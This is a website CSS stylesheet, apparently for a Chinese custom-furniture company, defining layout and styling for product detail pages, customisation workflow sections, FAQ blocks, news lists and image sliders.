.dingzhi-liucheng .time02 span {
font-size: 48px;
line-height: 40px;
padding: 63px 0 16px;
display: inline-block;
font-weight: 700
}
.dingzhi-liucheng .time02 .sp03 {
font-size: 18px;
margin-top: 60px;
line-height: 30px
}
.dingzhi-liucheng .time02 li:nth-of-type(1) {
width: 220px;
margin: 0 45px 0 40px
}
.dingzhi-liucheng .time02 li:nth-of-type(2) {
width: 305px
}
.dingzhi-liucheng .time02 li:nth-of-type(3) {
width: 275px;
margin: 0 90px 0 20px
}
.dingzhi-liucheng .time02 li:nth-of-type(4) {
width: 180px
}
.dingzhi-liucheng .single-img-01 {
margin-top: 45px
}
.dingzhi-liucheng .time03 {
width: 1228px;
margin: 80px auto 20px auto;
overflow: hidden;
zoom: 1
}
.dingzhi-liucheng .time03 li {
position: relative;
width: 385px;
float: left;
margin: 0 0 40px 148px;
padding: 10px 0 10px 80px;
text-align: left
}
.dingzhi-liucheng .time03 li:last-child span {
left: 20px
}
.dingzhi-liucheng .time03 p {
font-size: 16px;
color: #000
}
.dingzhi-liucheng .time03 .t1 {
font-size: 20px;
margin-bottom: 7px
}
.dingzhi-liucheng .time03 span {
color: #000;
position: absolute;
left: 26px;
top: 25px;
font-size: 30px;
font-weight: 700
}
.dingzhi-liucheng .time04 {
width: 1228px;
margin: 85px auto 80px;
overflow: hidden;
zoom: 1;
padding-top: 68px
}
.dingzhi-liucheng .time04 li {
float: left;
border: 8px solid #da9e61;
border-radius: 10px;
margin: 0 33px;
color: #000;
position: relative
}
.dingzhi-liucheng .time04 li img {
padding: 40px 15px;
float: left
}
.dingzhi-liucheng .time04 li .sp {
color: #fff;
position: absolute;
background: url(../images/20171121x-09.png) no-repeat center top;
top: -75px;
padding: 0 30px 18px;
font-size: 15px;
line-height: 42px;
height: 42px
}
.dingzhi-liucheng .time04 .sp1 {
font-size: 20px;
width: 120px;
display: inline-block;
text-align: left;
line-height: 30px
}
.dingzhi-liucheng .time04 .sp2 {
border: 1px solid #f0d403;
padding: 2px 8px;
display: inline-block;
margin-top: 8px
}
.dingzhi-liucheng .time04 .y {
float: left;
width: 150px;
margin-top: 35px;
text-align: center;
padding-right: 10px
}
.dingzhi-liucheng .songzhuang-img {
display: block;
margin: 60px auto
}
.dingzhi-liucheng .qingjing-t {
font-size: 24px;
color: #1d9ce3;
background: url(../images/20171121x-11.png) no-repeat center;
padding: 18px 0;
margin: 60px 0 35px
}
.dingzhi-liucheng .qingjing-p1 {
font-size: 18px;
color: #000
}
.dingzhi-liucheng .qingjing-p2 {
font-size: 16px;
color: #000;
text-align: left;
width: 416px;
margin: 30px auto 0;
line-height: 28px
}
.dingzhi-liucheng .qingjing-img {
margin: 40px auto 20px
}
#article_top_show #text {
float: left;
margin-top: 40px;
width: 645px;
margin-left: 35px
}
div#article_top_show p.pic {
width: 530px;
height: 350px;
float: left;
margin: 0;
border: 1px solid #999;
overflow: hidden
}
div#article_top_show {
width: 1228px;
margin: 20px auto 0;
background: #fff;
padding: 0;
overflow: hidden
}
div#article_top_show p.pic img {
width: 100%
}
.chanpin-detail {
width: 98%;
background: #f6f6f6;
padding: 13px 7px
}
.chanpin-detail p {
line-height: 30px;
overflow: hidden
}
.chanpin-detail p span {
float: left
}
.chanpin-detail p:nth-of-type(3) .span1 {
line-height: 20px
}
.chanpin-detail p:nth-of-type(3) .span2 {
line-height: 22px
}
.chanpin-detail .span1 {
font-size: 12px;
color: #999;
padding-left: 10px;
display: inline-block
}
.chanpin-detail .span2 {
font-size: 12px;
color: #666;
display: inline-block;
padding-left: 20px
}
.chanpin-detail .spespan {
color: #d7282d
}
.chanpin-fenlei {
margin-top: 15px
}
.chanpin-color .tit,.chanpin-fenlei .tit {
font-size: 12px;
color: #999;
padding-left: 20px;
display: inline-block
}
.chanpin-fenlei .tit {
margin-top: 13px
}
.chanpin-fenlei p {
float: left
}
.chanpin-fenlei span {
padding: 4px 10px;
border: 1px solid #ccc;
display: inline-block;
margin: 5px 7px
}
.chanpin-fenlei .fl {
width: 74%;
margin-left: 10px
}
.chanpin-color {
line-height: 33px;
margin: 15px 0 7px
}
.chanpin-color p {
font-size: 14px;
float: left
}
.chanpin-color ul {
float: left;
margin-left: 17px;
width: 85%
}
.chanpin-color li {
width: 80px;
height: 25px;
margin: 0 13px 13px 0;
float: left;
border: 1px solid #999;
text-align: right;
line-height: 25px
}
.chanpin-color li img {
float: left;
width: 30px;
height: 25px
}
.chanpin-color li span {
width: 50px;
height: 25px;
display: block;
float: left;
text-align: center
}
.chanpin-color a {
font-size: 14px;
color: red
}
.chanpin-color .last {
border: none;
width: 125px
}
.chanpin-fuwu {
overflow: hidden;
zoom: 1;
padding: 15px 0;
border-top: 1px dotted #eaeaea;
border-bottom: 1px dotted #eaeaea
}
.chanpin-fuwu li {
width: 60px;
float: left;
text-align: center;
margin-right: 30px
}
.chanpin-fuwu .first {
font-size: 12px;
color: #999;
display: inline-block;
margin-top: 5px;
width: 90px;
margin-right: 0
}
.chanpin-fuwu li p {
padding-top: 4px;
line-height: 18px
}
#text .title {
font-size: 16px;
color: #333;
font-weight: 700
}
#text .online {
display: block;
margin: 23px 0 0;
line-height: 47px
}
#text .online span {
float: left;
font-size: 12px;
color: #999;
padding-left: 20px
}
#text .online a {
width: 142px;
height: 47px;
display: inline-block;
line-height: 47px;
background: #333;
margin-left: 18px;
font-size: 18px;
color: #fff;
text-align: center
}
#text .online a:hover {
background: #444
}
.ww .allimg {
width: 100%
}
.allimg {
width: 100%
}
.prod-service {
margin: 75px auto;
position: relative
}
.prod-service .w2 {
position: absolute;
width: 1060px;
left: 50%;
margin-left: -530px;
text-align: center;
top: 40px
}
.prod-service p {
font-size: 20px;
color: #333;
line-height: 36px
}
.prod-service .w2 img {
margin: 25px auto;
width: auto
}
.prod-service a {
display: inline-block;
padding: 10px 20px;
font-size: 14px;
line-height: 26px;
border: 1px solid #333;
margin-bottom: 40px
}
.prod-service a span {
display: inline-block;
padding: 2px 10px;
background: #333;
color: #fff;
margin-left: 17px
}
.prod-zuhe {
background: #f6f6f6;
margin: 65px auto;
padding: 40px 0;
text-align: center
}
.prod-share {
margin: 10px auto 55px auto;
padding: 40px 0;
text-align: center
}
.prod-zuhe {
padding-bottom: 65px
}
.prod-tit {
font-size: 26px;
color: #333;
text-align: center;
line-height: 26px;
margin-bottom: 37px
}
.img-center {
text-align: center
}
.prod-detail {
border-top: 5px solid #f5f5f5;
margin-top: 30px;
padding-top: 55px
}
.prod-detail li {
margin-bottom: 65px
}
.prod-detail li span {
width: 415px;
padding: 45px 50px;
display: inline-block;
color: #666;
font-size: 16px;
line-height: 30px
}
.prod-detail2 {
margin-top: 90px;
border-bottom: 7px solid #f5f5f5
}
.prod-detail2 li {
float: left;
margin: 0 75px 75px 0
}
.prod-detail2 li:nth-of-type(2n) {
margin-right: 0
}
.prod-detail2 li span {
padding: 30px 17px;
display: inline-block;
width: 240px;
font-size: 14px;
line-height: 26px;
}
.prod-detail2 li img {
float: left
}
.chanpin-fuwu .last {
width: 130px;
height: 45px;
display: inline-block;
line-height: 45px;
background: #333;
margin-left: 5px
}
.chanpin-fuwu .last a {
font-size: 18px;
color: #fff
}
.chanpin-fuwu .last:hover a {
font-size: 20px;
text-shadow: 0 0 2px #fff
}
.prod-baozhuang {
margin: 70px auto 55px;
text-align: center
}
.prod-baozhuang>img {
width: auto
}
.prod-baozhuang .prod-tit {
margin-bottom: 20px
}
.prod-baozhuang a {
display: inline-block;
padding: 10px 20px;
font-size: 14px;
line-height: 26px;
border: 1px solid #333;
margin-bottom: 40px
}
.prod-baozhuang a:hover {
color: #666
}
.prod-baozhuang a span {
display: inline-block;
padding: 2px 10px;
background: #333;
color: #fff;
margin-left: 17px
}
.prod-mianze,.prod-ques,.prod-tuijian {
margin: 0 auto 50px auto;
text-align: center;
position: relative;
overflow: hidden
}
.prod-mianze .ab {
position: absolute;
top: 0;
left: 0;
width: 100%
}
.prod-mianze .prod-tit {
padding-top: 50px;
margin-bottom: 20px
}
.prod-mianze span {
padding: 4px 15px;
font-size: 16px;
margin: 0 15px;
display: inline-block
}
.prod-mianze a {
color: #333;
font-size: 16px;
line-height: 32px;
width: 110px;
border: 1px solid #333;
border-radius: 20px;
display: inline-block;
margin-top: 25px;
background: url(../images/prod-down.png) no-repeat 92px 15px;
padding-right: 10px
}
.mianze-down {
background: #fff;
width: 895px;
margin: 38px auto 0;
display: none
}
.mianze-down .youbian,.mianze-down .zuobian {
width: 366px;
padding: 0 40px;
float: left;
text-align: left
}
.mianze-down .youbian {
border-left: 1px solid #cecece
}
.mianze-down a {
clear: both;
margin-top: 60px;
width: 88px;
background: 0 0;
font-size: 16px;
line-height: 32px;
border-radius: 20px;
padding-right: 0
}
.mianze-down .tit,.mianze-down dt {
font-size: 20px;
color: #222;
margin-bottom: 3px
}
.mianze-down dd,.mianze-down p {
font-size: 16px;
line-height: 30px
}
.mianze-down dt {
border-top: 1px solid #aaa;
margin-top: 5px;
padding-top: 9px
}
.mianze-down dt:first-child {
border-top: 0;
margin: 0 0 3px 0;
padding: 0
}
.prod-zuhe .prod-tit {
margin-bottom: 45px;
padding-top: 10px
}
.prod-zuhe .box {
width: 1108px;
margin: 0 auto;
background: #fff;
padding: 40px 60px;
text-align: left
}
.prod-zuhe .box span {
margin: 0 45px;
font-size: 40px
}
.prod-zuhe2 .box span {
margin: 0 20px
}
.prod-zuhe .box img {
border: 1px solid #ccc
}
.prod-zuhe .box>p {
width: 20%;
float: right;
text-align: center;
padding: 20px 0 0 5%;
border-left: 1px solid #ccc
}
.prod-zuhe .box .span1 {
font-size: 18px;
margin: 0 0 10px 0;
display: block
}
.prod-zuhe .box .span2 {
font-size: 16px
}
.prod-zuhe .box>p a {
display: block;
width: 144px;
height: 48px;
line-height: 48px;
text-align: center;
font-size: 18px;
background: #333;
color: #fff;
font-weight: 700;
margin: 28px auto
}
.prod-tuijian {
margin-top: 65px
}
.prod-tuijian .tuijianlist li {
margin-top: 0
}
.prod-ques {
text-align: left
}
.prod-ques .prod-tit {
margin-top: 30px
}
.prod-ques .ques-list p {
line-height: 70px;
font-size: 16px;
text-indent: 15px
}
.prod-ques .ques-list-f {
border-top: 1px solid #000
}
.prod-ques .qq {
padding-left: 70px;
background: #f6f6f6 url(../images/qq.png) no-repeat 15px center;
color: #333;
background-size: 4%
}
.prod-ques .aa {
padding-left: 50px;
background: url(../images/aa.png) no-repeat center left;
margin-left: 75px;
background-size: 4%
}
.prod-ques .zixun {
background: #f6f6f6;
font-size: 16px;
margin-bottom: 30px;
padding: 20px
}
.prod-ques .zixun a {
color: #333;
margin-left: 30px;
border: 1px solid #333;
padding: 4px 15px
}
.prod-chejian {
background: #f6f6f6
}
.prod-chejian .w2 {
width: 1060px;
left: 50%;
text-align: center;
top: 55px
}
.prod-chejian p {
font-size: 15px;
color: #666;
text-align: left;
line-height: 30px;
width: 680px;
margin: 0 auto 45px
}
.prod-chejian .prod-tit {
font-size: 26px;
color: #333;
text-align: center;
line-height: 26px;
margin-bottom: 37px;
font-family: 'Microsoft YaHei'
}
.prod-chejian .w2 img {
width: 100%
}
.prod-chejian a {
display: inline-block;
padding: 10px 20px;
font-size: 14px;
line-height: 26px;
border: 1px solid #333;
margin-top: 45px
}
.prod-chejian a span {
display: inline-block;
padding: 2px 10px;
background: #333;
color: #fff;
margin-left: 17px
}
#article_body,#old-prod-inner {
width: 1228px;
margin: 0 auto;
border-bottom: 10px solid #f6f6f6;
padding-bottom: 30px
}
#right {
margin-top: 20px
}
div#article_theme {
width: 100%;
margin-top: 20px
}
#art_body {
border: 1px solid #ececec
}
.product-des-public {
overflow: hidden;
padding: 26px 0 32px;
width: 100%;
background: #ececec;
border-bottom: 1px solid #ddd;
margin: 20px auto
}
.product-des-public .des-public {
float: left;
font-size: 12px;
color: #666;
line-height: 25px;
width: 16%;
padding: 0 7%
}
.product-des-public .des-public .title {
font-size: 16px;
color: #000;
line-height: 42px;
font-weight: 700
}
.product-des-public .center {
width: 22%
}
.product-des-public .des-public:first-child {
width: 17%
}
.chanpin-newcommon-body {
padding-top: 30px;
text-align: center
}
.chanpin-newcommon-body .biaoti {
font-size: 24px;
color: #333;
text-align: center;
font-weight: 700;
line-height: 40px;
margin-bottom: 20px
}
.chanpin-newcommon-body .biaoti2 {
font-size: 20px;
color: #333;
text-align: center;
margin: 0 0 20px 0
}
.chanpin-newcommon-body .p {
font-size: 14px;
color: #666;
line-height: 28px;
width: 71%;
margin: 0 auto;
text-align: center
}
.chanpin-newcommon-body ul {
padding: 10px 165px;
overflow: hidden
}
.chanpin-newcommon-body ul li {
margin: 0 45px 40px 0;
width: 266px;
float: left;
border: 1px solid #ccc;
padding-bottom: 30px;
text-align: center;
min-height: 286px
}
.chanpin-newcommon-body ul li:nth-child(3n) {
margin-right: 0
}
.chanpin-newcommon-body li .title {
font-size: 16px;
color: #333;
margin: 15px 0 10px 0
}
.chanpin-newcommon-body li p {
padding: 0 35px;
line-height: 20px
}
#aboutBcs {
width: 1228px;
margin: 110px auto 0 auto;
height: 40px;
line-height: 40px;
border-bottom: 1px dotted #eee
}
#aboutBcs a,p#aboutBcs {
color: #999!important
}
#aboutBcs a:first-child {
font-weight: 400!important
}
.mianbaoxue-erji {
margin-top: 130px!important
}
.new-pro-mbx {
margin-top: 50px!important
}
#tonglei_title2 {
width: 99%;
height: 34px;
background: #f3f3f3;
border: 1px solid #ddd;
line-height: 35px;
font-size: 14px;
padding-left: 10px
}
.mianbaoxue {
margin: 108px auto 0 auto
}
.mbx-anli {
margin: 110px auto 0 auto!important
}
.product-list-ul .ul .list-li {
margin: 0 20px 13px 0
}
.product-list-ul .ul li:nth-child(4n) {
margin-right: 0
}
.dede_pages {
margin: 10px auto 40px
}
.dede_pages2 .pagelist {
width: 81%;
margin: 0 auto
}
.news-body .a {
color: #30700d;
display: block;
text-align: center;
margin: 0 auto 25px
}
.news-body a {
color: #00f;
text-decoration: underline
}
.news-body img {
margin: 40px 0 10px
}
.news-body .gwb {
text-align: center;
position: relative
}
.news-body .gwb span {
font-size: 16px;
position: absolute;
min-width: 200px;
left: 50%;
bottom: 4%;
margin-left: -160px;
padding: 11px 38px;
color: #fff;
background: url(../images/news-commona-bg.png) no-repeat center;
background-size: 100% 100%
}
.news-body .gwb a {
color: #fff;
text-decoration: underline
}
.news-body .gwb a:hover {
color: #136ec2;
font-weight: 700
}
.lwb {
color: #136ec2;
text-decoration: underline
}
.lwb:hover {
color: #136ec2
}
.news-body .gwb2 {
text-align: center;
position: relative
}
.news-body .gwb2 span {
font-size: 16px;
position: absolute;
min-width: 200px;
left: 50%;
bottom: 10px;
margin-left: -150px;
color: #fff
}
.news-body .gwb2 a {
color: #fff;
text-decoration: underline;
font-size: 16px
}
.news-body .gwb2 a:hover {
color: #fff;
font-weight: 700
}
.news-body .gwb2>img,.news-body .gwb>img {
width: 100%
}
.news-body div {
line-height: 26px
}
.content_banner {
width: 1228px;
margin: 0 auto
}
.sheji-bigimg,.sheji-opimg {
position: absolute;
top: 0;
left: 0;
z-index: 0
}
.sjbj-content {
width: 100%;
height: auto;
z-index: 22;
position: relative
}
.sjbj-content h2 {
font-size: 40px;
color: #fff;
text-align: center;
padding-top: 60px;
font-weight: 400;
height: 45px
}
.sjbj-content p {
color: #fff
}
.sjbj-content .sjbjul01 {
width: 850px;
margin: 157px auto;
padding-top: 25px
}
.sjbj-content .sjbjul01 li {
float: left;
padding: 0 62px;
width: 300px
}
.sjbjul01 li .p1 {
font-size: 30px;
margin: 18px 0 24px 0;
text-align: center
}
.sjbjul01 li .p2 {
font-size: 22px;
text-align: center;
line-height: 30px;
margin: 0
}
.sjbj-content .sptitle {
width: 145px;
height: 140px;
font-size: 40px;
color: #568e08;
text-align: center;
line-height: 46px
}
.sjbj-content .sptitle-center {
margin: 0 auto
}
.sjbj-content .onlinezixun {
width: 750px;
margin: 0 auto;
padding: 0 50px
}
.sjbj-content .sjbjul011,.sjbj-content .sjbjul012 {
float: left
}
.sjbj-content .onlinezixun li {
margin-bottom: 80px;
color: #fff;
font-size: 22px;
line-height: 35px
}
.sjbj-content .onlinezixun .first {
font-size: 30px;
text-align: center;
margin-bottom: 35px
}
.sjbj-content .sjbjul012 li {
margin-bottom: 178px
}
.sjbj-content .sjbjul012 .first {
margin-bottom: 75px
}
.sjbj-content .sjbjul011 {
padding: 0 210px 0 0;
width: 160px
}
.sjbj-content .sjbjul012 {
padding: 0 0 0 210px;
width: 160px
}
.sjbj-content .sptitle-center2 {
text-align: right;
width: 115px;
height: 130px;
padding-top: 13px
}
.sjbj-content .celiang {
width: 900px;
color: #fff;
margin: 0 auto;
padding: 30px 0 130px 40px;
line-height: 40px;
font-size: 22px
}
.sjbj-content .sptitle-left,.sjbj-content .sptitle-right {
background: url(../images/dayuan.png) no-repeat center;
width: 145px;
height: 125px;
padding-top: 24px;
margin: 70px 0 0 70px
}
.sptitle-outer {
margin: 0 60px;
height: 145px;
padding-top: 50px
}
.sjbj-content .sptitle-right {
float: right;
margin: 0
}
.sjbj-content .shejichutu {
text-align: center;
margin: -30px 0 60px 0
}
.sjbj-content .shejichutu p {
font-size: 22px;
text-align: center;
margin: 10px 0
}
.sjbj-content .shejichutu img {
margin-top: 30px
}
.sjbj-content .shengchanzhouqi {
width: 850px;
margin: 0 auto;
text-align: center
}
.sjbj-content .shengchanzhouqi li {
float: left;
padding: 0 59px
}
.sjbj-content .shengchanzhouqi li p {
font-size: 22px;
margin: 0 0 30px 0
}
.sjbj-content .songzhuangtongbu {
width: 400px;
margin: 0 auto;
height: 365px
}
.sjbj-content .songzhuangtongbu p {
margin-top: 0;
font-size: 22px;
line-height: 40px
}
.sjbj-content .shouhoufuwu {
width: 600px;
margin: 0 auto;
height: 315px
}
.sjbj-content .shouhoufuwu p {
font-size: 22px;
margin-top: 0;
line-height: 40px
}
.sjbj-content .wumeijiayou {
padding-bottom: 100px
}
.sjbj-content .wumeijiayou .p1 {
font-size: 38px;
width: 545px;
height: 50px;
margin: 30px auto 50px auto;
padding-bottom: 10px;
border-bottom: 2px solid #fff
}
.sjbj-content .wumeijiayou li {
width: 420px;
float: left;
padding: 0 96px
}
.sjbj-content .wumeijiayou li p {
font-size: 22px;
line-height: 36px
}
.sjbj-content .sptitle-center3 {
height: 130px;
margin-top: 12px
}
.link-article .title {
height: 40px;
border-bottom: 1px solid #ececec
}
.link-article .link-article-content ul {
overflow: hidden;
margin-top: 10px
}
.link-article .link-article-content ul li {
float: left;
width: 50%;
height: 36px;
line-height: 36px;
text-align: left
}
.w_fl222 .next-pre>ul {
overflow: hidden
}
.about-img {
margin-top: 20px
}
#index-new-list {
overflow: hidden;
position: relative
}
#index-new-list ul {
position: absolute
}
#index-new-list ul:first-child {
left: 0;
top: 0
}
#index-new-list ul:nth-child(2) {
left: 425px;
top: 0
}
#index-new-list ul:last-child {
left: 850px;
top: 0
}
.news-area {
overflow: hidden;
margin-bottom: 20px
}
.news-area dt {
color: #000;
font-size: 16px;
padding-bottom: 10px;
font-weight: 700
}
.news-area dl {
float: left;
margin-right: 115px;
width: 225px
}
.news-area dl:last-child {
margin-right: 0
}
.news-area .title {
font-size: 14px
}
.news-area .title a {
color: #000;
text-decoration: underline;
text-decoration-color: #666
}
.w8-contain {
background: #f6f6f6;
padding: 30px 0 10px;
margin-bottom: 50px
}
.prod-ques .ques-list-f {
border-top: 1px solid #ccc
}
.prod-ques .ques-list {
border-top: 1px solid #ccc
}
.prod-share {
margin: 0 auto
}
.prod-share,.prod-zuhe {
padding: 55px 0;
background: #f4f4f4
}
.prod-service {
margin: 75px auto 55px;
border-bottom: 1px solid #ccc
}
.fl-n {
display: inline-block;
vertical-align: middle
}
.fl-n img {
width: 50px
}
.fr-n {
display: inline-block;
vertical-align: middle;
padding-left: 10px
}
.prod-service .prod-service-con {
overflow: hidden;
margin-bottom: 25px
}
.prod-service .prod-service-con .prod-service-sec {
overflow: hidden;
width: 306px;
text-align: center;
float: left;
border-right: 1px solid #ccc
}
.prod-service .prod-service-con li:last-child {
border: 0
}
.h2-title {
color: #000;
font-size: 14px;
font-weight: 400;
text-align: left;
padding-bottom: 0
}
.prod-service p.prod-p {
color: #333;
font-size: 12px;
font-weight: 400;
line-height: 20px;
font-family: "���ź�"
}
.prod-px img {
border: 1px solid #000
}
.prod-detail-1 {
border-top: 10px solid #f5f5f5;
margin-top: 50px;
padding-top: 55px
}
.prod-detail-1 li {
margin-bottom: 65px
}
.prod-detail-1 li span {
width: 415px;
padding: 45px 115px;
display: inline-block;
color: #666;
font-size: 16px;
line-height: 30px;
text-align: left;
vertical-align: top
}
.prod-detail-2 {
margin-top: 90px
}
.prod-detail-2 li {
float: left;
margin: 0 75px 75px 0
}
.prod-detail-2 li:nth-of-type(2n) {
margin-right: 0
}
.prod-detail-2 li span {
padding: 30px 17px;
display: inline-block;
width: 240px;
font-size: 14px;
line-height: 26px;
text-align: left
}
.prod-detail-2 li img {
float: left
}
.prod-detail-1 {
margin-bottom: 50px
}
.prod-detail-2,.prod-safe {
border-top: 10px solid #f5f5f5;
margin-top: 50px;
padding-top: 55px
}
.prod-safe span {
width: 415px;
padding: 45px 54.5px 45px 54.5px;
display: inline-block;
color: #666;
font-size: 16px;
line-height: 30px;
text-align: left;
vertical-align: top
}
.prod-ques .ques-list p.qq {
font-size: 18px;
color: #000
}
.prod-title1 {
color: #000;
font-size: 24px;
font-weight: 400;
display: inline-block;
padding-bottom: 20px
}
.prod-title2 {
color: #000;
font-size: 18px;
font-weight: 400;
display: inline-block;
padding-bottom: 10px
}
.mianze-down-1 {
background: #fff;
width: 895px;
margin: 0 auto;
overflow: hidden;
margin-top: 50px
}
.mianze-down-1 .youbian-1,.mianze-down-1 .zuobian-1 {
width: 366px;
padding: 0 40px;
float: left;
text-align: left
}
.mianze-down-1 .youbian-1 {
border-left: 1px solid #cecece
}
.mianze-down-1 a {
clear: both;
margin-top: 60px;
width: 88px;
background: 0 0;
font-size: 16px;
line-height: 32px;
border-radius: 20px;
padding-right: 0;
border: 1px solid #797979
}
.mianze-down-1 .tit-1,.mianze-down-1 dt {
font-size: 20px;
color: #797979;
margin-bottom: 3px
}
.mianze-down-1 dd,.mianze-down-1 p {
font-size: 16px;
line-height: 30px
}
.mianze-down-1 dt {
border-top: 1px solid #aaa;
margin-top: 5px;
padding-top: 9px
}
.mianze-down-1 dt:first-child {
border-top: 0;
margin: 0 0 3px 0;
padding: 0
}
.prod-mianze-1 {
margin: 0 auto 55px auto;
text-align: center;
position: relative;
overflow: hidden
}
.prod-mianze-1 .prod-tit {
padding-top: 55px;
margin-bottom: 30px
}
.prod-mianze-1 span {
padding: 4px 15px;
font-size: 16px;
margin: 0 15px;
display: inline-block
}
.prod-ques .aa,.prod-ques .qq {
background-image: none;
padding-left: 0;
margin-left: 0
}
.prod-ques .prod-tit {
margin-top: 55px
}
.prod-ques div:last-child {
border-bottom: 1px solid #ccc
}
.ali {
width: 100%;
background: #ccc;
margin-top: 30px
}
.w-spe {
width: 1440px;
height: 420px;
margin: 0 auto;
overflow: hidden;
position: relative
}
.ali ul {
overflow: hidden;
width: 2304px;
position: absolute;
top: 0;
left: 0
}
.ali ul li {
width: 288px;
float: left;
position: relative;
cursor: pointer
}
.ali ul li .mask {
position: absolute;
z-index: 4;
width: 100%;
top: 0;
bottom: 0;
transition: all .4s cubic-bezier(.4,0,.2,1)
}
.ali ul li .ali-div {
position: absolute;
width: 100%;
bottom: -60px;
text-align: center;
transition: all .4s cubic-bezier(.4,0,.2,1);
z-index: 5
}
.ali ul li .ali-div img {
width: 67px
}
.ali ul li .ali-div p.item-l {
line-height: 50px;
margin-bottom: 5px;
transition: all .4s cubic-bezier(.4,0,.2,1)
}
.ali ul li .ali-div p.item-l i {
display: inline-block;
width: 20px;
height: 2px;
background: #fff
}
.ali ul li .ali-div p.item-t {
font-size: 22px;
color: #fff;
font-weight: 700;
margin-bottom: 30px
}
.ali ul li .ali-div p.item-p {
font-size: 14px;
color: #fff;
margin-bottom: 100px;
padding: 0 23px;
opacity: 0;
transition: all .4s cubic-bezier(.4,0,.2,1)
}
.ali ul li .ali-div span {
display: inline-block;
padding: 7px 40px;
border: 1px solid #fff;
font-size: 14px;
color: #fff;
opacity: 0;
transition: all .4s cubic-bezier(.4,0,.2,1)
}
.ali ul li:hover .mask {
background: rgba(0,0,0,.6)
}
.ali ul li:hover .ali-div {
bottom: 70px
}
.ali ul li:hover .ali-div p.item-l {
opacity: 0;
line-height: 20px
}
.ali ul li:hover .ali-div p.item-p {
opacity: 1;
margin-bottom: 40px
}
.ali ul li:hover .ali-div span {
opacity: 1
}
.ali ul li .ali-div span:hover {
background: #fff;
color: #000
}
.ali-next,.ali-prev {
position: absolute;
top: 0;
bottom: 0;
z-index: 6;
cursor: pointer;
width: 50px;
text-align: center;
background: rgba(0,0,0,.3);
line-height: 420px;
font-size: 24px;
color: #fff;
display: none
}
.ali-next img,.ali-prev img {
vertical-align: inherit
}
.ali-prev {
left: 0
}
.ali-next {
right: 0
}
.w-spe:hover .ali-next,.w-spe:hover .ali-prev {
display: block
}
.zt-wrapper {
background: #f6f6f6;
padding-bottom: 50px
}
.zt-wrapper .zt-banner {
width: 100%;
margin: 50px auto 0
}
.zt-wrapper .zt-banner img {
width: 100%
}
.zt-wrapper .zt-content {
background: #fff;
margin-top: 10px;
padding: 27px 0 0 20px
}
.zt-wrapper .zt-content .zt-item-title {
font-size: 26px;
padding-bottom: 27px;
color: #000
}
.zt-wrapper .zt-content .zt-item-text {
overflow: hidden
}
.zt-wrapper .zt-item-text .zt-item-des {
float: left;
color: #8e8e8e;
font-size: 12px;
width: 280px;
text-align: justify
}
.zt-wrapper .zt-item-text .zt-item-des a {
color: #000;
line-height: 70px;
font-size: 16px;
border: 1px solid #000;
padding: 5px 20px;
transition: all .4s cubic-bezier(.4,0,.2,1)
}
.zt-wrapper .zt-item-text .zt-item-des a:hover {
background: #000;
color: #fff
}
.zt-wrapper .zt-item-text img {
float: right
}
.quest {
padding-top: 20px
}
.slideTxtBox_3 .hd {
position: relative;
height: 40px
}
.slideTxtBox_3 .hd li {
line-height: 39px;
margin-right: 6px;
float: left;
width: 120px;
background: #f1f1f1;
border-top-left-radius: 4px;
border-top-right-radius: 4px
}
.slideTxtBox_3 .hd ul li.on {
background: #313131
}
.slideTxtBox_3 .hd ul li.on a {
color: #fff
}
.slideTxtBox_3 .bd {
overflow: hidden;
width: 604px
}
.slideTxtBox_3 .bd div {
float: left;
width: 604px
}
.slideTxtBox_3 .ptfa li {
width: 606px;
height: 135px;
background: #f1f1f1;
margin-bottom: 15px
}
.slideTxtBox_3 .ptfa .left {
width: 212px;
height: 100px;
overflow: hidden;
padding: 10px;
margin-right: 10px
}
.slideTxtBox_3 .ptfa .left img {
width: 100%
}
.slideTxtBox_3 .ptfa .right {
float: right;
width: 328px;
padding: 20px 36px 0 0
}
.slideTxtBox_3 .ptfa .more {
float: right
}
.quest {
overflow: hidden;
margin-top: 30px
}
.quest .fl {
width: 422px;
padding-right: 20px
}
.quest .index-new-qiehuan {
width: 850px
}
.quest .index-new-qiehuan .hd {
position: relative;
height: 30px;
padding: 0
}
.quest .hd li {
line-height: 30px;
margin: 0 6px 0 0;
float: left;
width: 100px;
background: #f1f1f1;
border-top-left-radius: 10px;
border-top-right-radius: 10px;
height: 30px
}
.quest .hd li.on {
background: #313131
}
.quest .hd li.on a {
color: #fff
}
.quest .bd {
overflow: hidden;
background: #f1f1f1
}
.quest .bd div {
float: left;
width: 850px
}
.quest .index-new-qiehuan .bd {
width: 850px
}
.quest .bd .index-xinwen-list {
padding: 20px 30px 10px
}
.quest .bd .index-xinwen-list li {
width: 315px;
height: 70px;
float: left;
margin-bottom: 15px
}
.quest .bd .index-xinwen-list li:nth-child(odd) {
margin-right: 70px
}
.quest .bd .index-xinwen-list .img {
width: 70px;
height: 70px;
float: left;
overflow: hidden
}
.quest .bd .index-xinwen-list .img img {
height: 100%
}
.quest .bd .index-xinwen-list .text {
float: right;
width: 230px
}
.quest .bd .index-xinwen-list .title {
height: 27px;
overflow: hidden
}
.quest .bd .index-xinwen-list .title a {
font-size: 14px;
color: #333
}
.slideTxtBox_2 .askul {
margin-top: 20px
}
.slideTxtBox_2 .askul li .text {
width: 310px;
padding: 0 17px;
text-align: justify
}
.slideTxtBox_2 .askul li {
width: 100%;
height: auto;
margin: 22px auto!important;
border-bottom: 1px dotted #e6e6e6;
overflow: hidden
}
.slideTxtBox_2 .askul li .text {
width: 310px;
padding: 0 17px;
text-align: justify
}
.slideTxtBox_2 .askul li p {
font-size: 12px;
line-height: 22px
}
.slideTxtBox_2 .askul li .title a {
font-size: 14px;
color: #333
}
.slideTxtBox_2 .askul li:hover .title a {
color: 94
}
.slideTxtBox_2 .askk {
width: 345px;
height: 75px;
display: block;
margin-bottom: 20px;
line-height: 75px;
text-align: center;
font-size: 24px;
color: #fff;
position: relative;
background: #313131
}
.slideTxtBox_2 .askk p {
position: absolute;
z-index: 1;
text-align: center;
width: 100%
}
.slideTxtBox_2 .bd .cont_left {
width: 84px
}
.com_div {
padding: 21px 16px 21px 0;
height: 68px;
border-bottom: 1px dashed #eaeaea
}
.com_div img {
width: 68px;
height: 68px
}
.slideTxtBox_2 .bd .cont_right {
float: right;
padding-right: 24px;
width: 234px
}
.slideTxtBox_2 .bd .cont_right dd {
height: 68px;
padding: 21px 0;
border-bottom: 1px dashed #eaeaea
}
.slideTxtBox_2 .bd .cont_right dd h5 {
line-height: 27px
}
.slideTxtBox_2 .bd .cont_right dd h5 a:hover {
text-decoration: underline
}
.slideTxtBox_2 .bd .cont_right dd p {
color: #666
}
#slideTxtBox_2 .tempWrap {
height: 305px!important;
